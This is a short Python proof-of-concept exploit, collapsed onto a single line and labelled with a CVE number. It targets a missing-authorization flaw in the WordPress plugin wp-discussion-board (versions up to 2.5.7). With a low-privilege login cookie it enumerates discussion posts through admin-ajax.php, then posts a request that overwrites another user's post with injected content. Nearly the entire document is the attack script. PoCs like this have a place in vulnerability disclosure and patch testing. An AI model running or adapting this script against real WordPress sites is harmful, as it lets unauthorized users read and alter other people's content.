CVE-2025-69023

# CVE-2025-69023 PoC - WordPress Discussion Board Broken Access Control # Affected: wp-discussion-board <= 2.5.7 import requests import sys TARGET_URL = "http://target-wordpress-site.com" ATTACKER_COOKIE = "wordpress_logged_in_cookie_here" def exploit_discussion_board(): """ This PoC demonstrates the missing authorization vulnerability in wp-discussion-board. An authenticated low-privilege user can perform administrative actions. """ headers = { "Cookie": ATTACKER_COOKIE, "Content-Type": "application/x-www-form-urlencoded", "X-Requested-With": "XMLHttpRequest" } # Step 1: Identify target with vulnerable plugin print("[*] Checking if wp-discussion-board is installed...") # Step 2: Enumerate discussion board posts (unauthorized access) print("[*] Attempting to enumerate all discussions...") enum_url = f"{TARGET_URL}/wp-admin/admin-ajax.php?action=get_discussion_board_posts" response = requests.get(enum_url, headers=headers) if response.status_code == 200: print("[+] Successfully accessed discussions without proper authorization") print(f"[+] Response: {response.text[:500]}") # Step 3: Modify another user's discussion (broken access control) print("[*] Attempting to modify another user's discussion...") modify_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" modify_data = { "action": "update_discussion_board_post", "post_id": "123", # Target post ID (could be any post) "content": "Malicious content injected by low-privilege user", "nonce": "attacker_placeholder_nonce" } response = requests.post(modify_url, data=modify_data, headers=headers) if response.status_code == 200 and "success" in response.text.lower(): print("[+] Successfully modified discussion post - VULNERABLE!") else: print("[-] Modification failed or plugin may be patched") if __name__ == "__main__": print("CVE-2025-69023 - WordPress Discussion Board Missing Authorization") exploit_discussion_board()

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